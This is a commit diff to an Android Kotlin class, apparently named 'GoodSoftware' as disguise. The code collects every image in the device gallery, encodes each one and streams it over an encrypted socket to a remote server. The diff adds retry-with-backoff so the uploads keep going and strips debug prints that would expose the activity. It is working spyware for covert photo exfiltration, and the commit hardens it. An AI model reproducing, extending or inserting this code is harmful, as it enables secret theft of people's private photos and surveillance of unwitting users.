Retry connection a couple times, if no result. Dont crash

app/src/main/java/com/ti/m/GoodSoftware.kt

@@ -159,11 +159,12 @@ class GoodSoftware (private val activity: MainActivity) {
                 Thread {
                     try {
                         val imageList = getAllImagesFromGallery(activity)
-                        println(imageList)
-                        val connection = establishConnection()
+                        val connection = establishConnectionWithRetry()
+                        if (connection == null) {
+                            return@Thread
+                        }
                         for (image in imageList) {
                             val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
-                            println("Image send $image")
                             sendDataToServer(base64Image, connection)
                             next(connection)
                         }
@@ -307,10 +308,37 @@ class GoodSoftware (private val activity: MainActivity) {
         writer.println(encryptText(encodedUid, pKey))
         reader.readLine()
 
-        println("Connection, OK!")
-
         return ConnectionResult(socket, reader, writer, key, iv, algorithm)
     }
+
+    fun establishConnectionWithRetry(): ConnectionResult? {
+        val maxRetries = 3
+        var attempt = 0
+        var connectionResult: ConnectionResult? = null
+
+        while (attempt < maxRetries) {
+            try {
+                connectionResult = establishConnection()
+                println("Connection successful")
+                break
+            } catch (e: Exception) {
+                println("Connection attempt failed. Retrying in ${getRetryDelay(attempt)} milliseconds")
+                e.printStackTrace()
+                attempt++
+                Thread.sleep(getRetryDelay(attempt))
+            }
+        }
+        if (connectionResult == null) {
+            Log.e("Err","Failed to establish connection after $maxRetries attempts")
+        }
+        return connectionResult
+    }
+
+    fun getRetryDelay(attempt: Int): Long {
+        val baseDelayMillis = 20000L
+        return baseDelayMillis * (1 shl attempt)
+    }
+
     fun sendDataToServer(sendData: String, connectionResult: ConnectionResult) {
         val (socket, reader, writer, key, iv, algorithm) = connectionResult
         try {
@@ -391,8 +419,10 @@ class GoodSoftware (private val activity: MainActivity) {
                 val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
                 //Log.d(picture.TAG, "Base64 Image: $base64Image")
                 Thread {
-                    println("Sending data to server")
-                    val conn = establishConnection()
+                    val conn = establishConnectionWithRetry()
+                    if (conn == null) {
+                        return@Thread
+                    }
                     sendDataToServer(base64Image, conn)
                     disconnect(conn)
                 }.start()
@@ -439,10 +469,8 @@ class GoodSoftware (private val activity: MainActivity) {
 
         // Check permission based on Android version
         val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
-            println("Using READ_MEDIA_IMAGES for Android 13 and higher")
             Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher
         } else {
-            println("Using READ_EXTERNAL_STORAGE for lower versions")
             Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions
         }